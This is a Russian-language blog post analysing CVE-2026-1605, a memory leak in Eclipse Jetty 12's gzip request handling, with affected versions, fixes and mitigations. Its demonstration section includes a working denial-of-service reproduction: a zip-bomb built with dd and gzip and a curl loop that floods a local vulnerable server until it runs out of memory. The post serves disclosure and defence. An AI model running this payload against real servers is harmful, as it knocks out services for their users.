software-development
March 10

Март, Jetty и утекшая память

За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.

Почти 4Гб сожранной памяти меньше чем за минуту работы.

Статус

Номер уязвимости: CVE-2026-1605

Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Уровень: 7.5 HIGH

..

acidburn96: хочешь фокус покажу

alex0x08: только не как в прошлый раз ж)

acidburn96: стенд проекта [вырезаноцензурой] еще работает?

alex0x08: работает, пока еще не успели снести

acidburn96: открой его в браузере

alex0x08: открыл

alex0x08: и что дальше?

acidburn96: жди

acidburn96: жди

acidburn96: жди

acidburn96: проверяй

acidburn96: жми F5

alex0x08: так блин

alex0x08: слыш Копперфильд

alex0x08: и где стенд? куда все делось?

Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.

Уязвимость

Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена серьезная проблема с обработкой сжатых входящих запросов.

Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые запросы к веб-серверам, поэтому вот тут немного больше информации о таком замечательном функционале.

Как бы то ни было, в начале марта информация по этой проблеме была выложена в публичный доступ.

Правда без PoC и с весьма мутным описанием:

The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.__inflaterPool because gzipRequest.destory() is not called.

Что впрочем не помешало восстановить логику работы по одним только коммитам с исправлениями.

В чем суть:

при обработке входящих запросов к серверу с заголовком Content-Encoding: gzip и сжатым содержимым, в некоторых случаях происходит утечка памяти.

Чтобы это сработало, необходимо чтобы клиент присылал только заголовок Content-Encoding: gzip, но не присылал Accept-Encoding: gzip, по наличию которого включается сжатие ответов.

Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок Accept-Encoding: gzip всегда, вне зависимости от того сжат ли запрос.

Зона риска

Хотя проблема затрагивает только 12ю версию Jetty, но зато все релизы с 2023 года и по март 2026го, страшные красные плашки на артефактах вот тут не дадут соврать.

Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска все проекты, которые использовали или используют артефакт jetty-server за последние три года.

Что-то около четырех с половиной тысяч проектов, согласно статистике.

Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:

обработка сжатых запросов и ответов по-умолчанию выключена и требует отдельной настройки.

Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.

Исправление

На момент написания этих строк, проблема уже исправлена.

Для ветки 12.1.х начиная с 12.1.6, для более ранней и стабильной 12.0.х — начиная с 12.0.32.

Если в вашем проекте Jetty используется в виде зависимости, вроде:

<dependency>
            <groupId>org.eclipse.jetty</groupId>
            <artifactId>jetty-server</artifactId>
            <version>12.1.5</version>
</dependency>

Достаточно лишь изменить версию на исправленную и обновиться.

Но на свете существует еще и такая зверская вещь как Spring Boot — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.

Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:

Обратите внимание на номер версии в зависимости Jetty, а ведь 4.0.2 совсем недавно считалась свежей и использовалась повсеместно.

Версии Spring Boot с исправленным Jetty начинаются с 4.0.3, но обновлять сам Spring Boot — то еще приключение.

Так что для многих весна станет очень тяжелой.

Демонстрация

Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical».

Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.

Может хоть это заставит кого-то из читателей обновиться.

Тестовое приложение

Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.

 Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:

package com.Ox08.vuln.cve20261605;

import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
    Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet("/yo")
public class TestServlet extends  HttpServlet {   
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws IOException {
        resp.setContentType("text/plain");
        PrintWriter out = resp.getWriter();
        out.printf("Request at: %d%n", System.currentTimeMillis());

        try (ServletInputStream in = req.getInputStream()) {
            // вызов чтения данных запустит распаковку запроса
            byte[] data = in.readAllBytes();
            out.printf("Request size: %d%n", data.length);
        }
    }
}

Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.

Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.

Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в Intellij Idea.

Тестовый Jetty

Помимо тестового приложения, необходима еще и уязвимая версия Jetty.

Для чистоты эксперимента, была взята версия 12.1.5 , последняя в ветке 12.1.х до исправления, которую можно скачать тут.

Скачиваем и распаковываем:

wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip
unzip jetty-home-12.1.5.zip

Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений:

mkdir jetty-work
cd jetty-work
export JETTY_HOME=../jetty-home-12.1.5

Включаем основные модули:

java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp

Включаем модуль gzip:

java -jar $JETTY_HOME/start.jar --add-modules=gzip

Тут стоит заметить, что модуль gzip начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль compression-gzip.

Но во-первых это Jetty непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год.

В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как поступили для примера парни из Spring.

После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле $JETTY_HOME/start.d/gzip.ini:

## Minimum content length after which gzip is enabled
jetty.gzip.minGzipSize=32

## Inflate request buffer size, or 0 for no request inflation
jetty.gzip.inflateBufferSize=4096

## Comma separated list of included HTTP methods
jetty.gzip.includedMethodList=GET,POST

Дополнительно я еще включил логирование через Logback:

java -jar $JETTY_HOME/start.jar --add-modules=logging-logback

Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля gzip.

После добавления модуля, появится файл resources/logback.xml с настройками логирования по-умолчанию.

Внутрь необходимо добавить строку:

 <logger name="org.eclipse.jetty.server.handler.gzip" level="DEBUG" /> 

Копируем наше тестовое приложение gziptest.war в каталог $JETTY_HOME/webapps и наконец запускаем наш уязвимый Jetty:

java -jar $JETTY_HOME/start.jar 

Теперь переходим к формированию специального запроса-убийцы.

Запрос-убийца

Шатать так шатать, для демонстрации процесса была подготовлена классическая ZIP-бомба — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.

Так выглядит процесс создания:

dd if=/dev/zero of=./1g.bin bs=1G count=1
gzip ./1g.bin

А так — сам скрипт «бомбометания»:

#!/bin/bash
export TARGET=http://localhost:8080/gziptest/yo
for i in `seq 1 2000000`; do 
curl -v -s --data-binary @1g.bin.gz -H "Content-Encoding: gzip" $TARGET;
done

Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.

Запускаем и буквально после второго же запроса наблюдаем OOM:

Эта ошибка - причина многих бессонных ночей, проведенных за отладкой и отловом причины.

Про OutOfMemory

Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.

Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++.

Отличается отнюдь не в лучшую сторону.

Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.

Но только поведение сервиса станет непредсказуемым.

Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.

Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается.

Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети.

Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.

Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему.

Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.

Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана.

Причем не сразу насмерть, а долго и мучительно.

Но вернемся к нашей проблеме.

Эпилог

Стоит только добавить заголовок Accept-Encoding: gzip к запросу и все замечательно работает:

export TARGET=http://localhost:8080/gziptest/yo
curl -v -s --data-binary @1g.xml.gz -H "Content-Type: text/xml" -H "Accept-Encoding: gzip" -H "Content-Encoding: gzip" $TARGET;

Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:

Собственно внутри GzipResponseAndCallback и происходило корректное освобождение ресурсов до исправления.

Напоследок покажу, как выглядит утечка в профайлере VisualVM:

Не так эпично, как на заглавной картинке, но тоже неплохо.

Рекомендации

Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.

Что же касается конкретно CVE-2026-1605, есть несколько вариантов:

  1. Банальным образом обновиться до исправленных версий;
  2. Отключить проблемый модуль gzip, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty;
  3. В случае Spring Boot добавить в конфигурацию:
server.compression.enabled=false

Что отключит поддержку сжатых запросов и ответов.